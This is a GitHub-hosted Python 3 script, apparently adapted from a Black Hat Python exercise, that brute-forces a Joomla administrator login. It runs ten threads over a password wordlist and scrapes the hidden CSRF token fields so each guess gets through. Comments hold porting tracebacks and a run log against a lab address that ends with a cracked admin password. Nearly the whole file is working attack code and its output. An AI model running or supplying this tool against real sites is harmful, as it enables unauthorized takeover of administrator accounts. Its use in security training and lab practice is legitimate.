-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpython3_joomla_killer.py
executable file
·297 lines (243 loc) · 16.9 KB
/
python3_joomla_killer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import urllib.request, urllib.error, urllib.parse
import urllib.request, urllib.parse, urllib.error
import http.cookiejar
import threading
import sys
import queue
from html.parser import HTMLParser
# general settings
user_thread = 10
username = "admin"
wordlist_file = "./cain.txt"
resume = None
# target specific settings
# target_url = "http://192.168.112.131/administrator/index.php"
# target_post = "http://192.168.112.131/administrator/index.php"
target_url = "http://192.168.17.129/Joomla/administrator/index.php"
target_post = "http://192.168.17.129/Joomla/administrator/index.php"
username_field= "username"
password_field= "passwd"
# success_check = "Administration - Control Panel"
success_check = "Control Panel" #Joomla_3.6.2-Stable-Full_Package
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
if tag == "input":
tag_name = None
tag_value = None
print("attrs: %s" % attrs)
for name,value in attrs:
if name == "name":
tag_name = value
if name == "value":
tag_value = value
if tag_name is not None:
self.tag_results[tag_name] = value
# Trying: admin : 5252 (306639 left)
# print "attrs: %s" % attrs
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '75b396ab21e2ab1e48b952e5456820ec'), ('value', '1')]
class Bruter(object):
def __init__(self, username, words):
self.username = username
self.password_q = words
self.found = False
print("Finished setting up for: %s" % username)
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password_q.empty() and not self.found:
# brute = self.password_q.get().rstrip()
brute = self.password_q.get().rstrip().decode('utf-8') #convert 'bytes' object to str
jar = http.cookiejar.FileCookieJar("cookies")
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
response = opener.open(target_url)
page = response.read()
# print(page)
print("Trying: %s : %s (%d left)" % (self.username,brute,self.password_q.qsize()))
# parse out the hidden fields
parser = BruteParser()
# parser.feed(page)
parser.feed(page.decode('utf-8')) #convert 'bytes' object to str
# Traceback (most recent call last):
# File "/usr/lib/python3.5/threading.py", line 914, in _bootstrap_inner
# self.run()
# File "/usr/lib/python3.5/threading.py", line 862, in run
# self._target(*self._args, **self._kwargs)
# File "joomla_killer.py", line 90, in web_bruter
# parser.feed(page)
# File "/usr/lib/python3.5/html/parser.py", line 110, in feed
# self.rawdata = self.rawdata + data
# TypeError: Can't convert 'bytes' object to str implicitly
post_tags = parser.tag_results
# add our username and password fields
post_tags[username_field] = self.username
post_tags[password_field] = brute
# login_data = urllib.parse.urlencode(post_tags)
login_data = urllib.parse.urlencode(post_tags).encode("utf-8") #convert str to 'bytes'
login_response = opener.open(target_post, login_data)
# Traceback (most recent call last):
# File "/usr/lib/python3.5/threading.py", line 914, in _bootstrap_inner
# self.run()
# File "/usr/lib/python3.5/threading.py", line 862, in run
# self._target(*self._args, **self._kwargs)
# File "joomla_killer.py", line 99, in web_bruter
# login_response = opener.open(target_post, login_data)
# File "/usr/lib/python3.5/urllib/request.py", line 463, in open
# req = meth(req)
# File "/usr/lib/python3.5/urllib/request.py", line 1170, in do_request_
# raise TypeError(msg)
# TypeError: POST data should be bytes or an iterable of bytes. It cannot be of type str.
# login_result = login_response.read()
login_result = login_response.read().decode('utf-8') #convert 'bytes' object to str
# Traceback (most recent call last):
# File "/usr/lib/python3.5/threading.py", line 914, in _bootstrap_inner
# self.run()
# File "/usr/lib/python3.5/threading.py", line 862, in run
# self._target(*self._args, **self._kwargs)
# File "joomla_killer.py", line 106, in web_bruter
# if success_check in login_result:
# TypeError: a bytes-like object is required, not 'str'
if success_check in login_result:
self.found = True
print("[*] Bruteforce successful.")
print("[*] Username: %s" % username)
print("[*] Password: %s" % brute)
print("[*] Waiting for other threads to exit...")
# print("login_result")
# print(login_result)
def build_wordlist(wordlist_file):
# read in the word list
fd = open(wordlist_file,"rb")
raw_words = fd.readlines()
fd.close()
found_resume = False
words = queue.Queue()
for word in raw_words:
word = word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print("Resuming wordlist from: %s" % resume)
else:
words.put(word)
return words
words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username,words)
bruter_obj.run_bruteforce()
# root@kali:/home/han/BHP-Code/Chapter5/python3-version# python3 joomla_killer.py 2>&1 | tee 1.log
# Finished setting up for: admin
# Trying: admin : !@#$%^&* (306696 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', 'a46aceadc991a21b015d4a1982d6ff72'), ('value', '1')]
# Trying: admin : han (306653 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '6d99290ac934b3f075fec05669e366a3'), ('value', '1')]
# Trying: admin : 2000 (306653 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '334606add5a7ced222b503901ce51876'), ('value', '1')]
# Trying: admin : 20 (306651 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '0660f03f36d161434833ceb4c26571ce'), ('value', '1')]
# Trying: admin : 2001 (306648 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '0d5e05b87e7b8386a3e4d518ffdbd490'), ('value', '1')]
# Trying: admin : 2002 (306648 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', 'cc68fea1a8d21f3dd455a16275ce373a'), ('value', '1')]
# Trying: admin : 2112 (306648 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '1020a5a5bccb2a4d18370d5e4f72cc8b'), ('value', '1')]
# Trying: admin : 2222 (306648 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '3cd8952f9c1cb5e467aa00a2279771f5'), ('value', '1')]
# Trying: admin : 21122112 (306648 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '3f4b2c8363e655c3e216c752e6658799'), ('value', '1')]
# Trying: admin : 2003 (306648 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '4692485b5582a53176a0f5b0257ef982'), ('value', '1')]
# Trying: admin : 249 (306646 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]Trying: admin : 246 (306646 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '12d85e122c4bfb234e38825af248eadb'), ('value', '1')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '3b3595c979ccf7ca7523d5623b96f712'), ('value', '1')]
# [*] Bruteforce successful.
# [*] Username: admin
# [*] Password: han
# [*] Waiting for other threads to exit...
# Trying: admin : 2welcome (306644 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '72a5bf6be9389d1bb13b09f1ad9ff21d'), ('value', '1')]
# Trying: admin : 369 (306644 left)
# attrs: [('name', 'username'), ('tabindex', '1'), ('id', 'mod-login-username'), ('type', 'text'), ('class', 'input-medium'), ('placeholder', 'Username'), ('size', '15'), ('autofocus', 'true')]
# attrs: [('name', 'passwd'), ('tabindex', '2'), ('id', 'mod-login-password'), ('type', 'password'), ('class', 'input-medium'), ('placeholder', 'Password'), ('size', '15')]
# attrs: [('type', 'hidden'), ('name', 'option'), ('value', 'com_login')]
# attrs: [('type', 'hidden'), ('name', 'task'), ('value', 'login')]
# attrs: [('type', 'hidden'), ('name', 'return'), ('value', 'aW5kZXgucGhw')]
# attrs: [('type', 'hidden'), ('name', '160d13f5dad7bd389fab247f786d5cac'), ('value', '1')]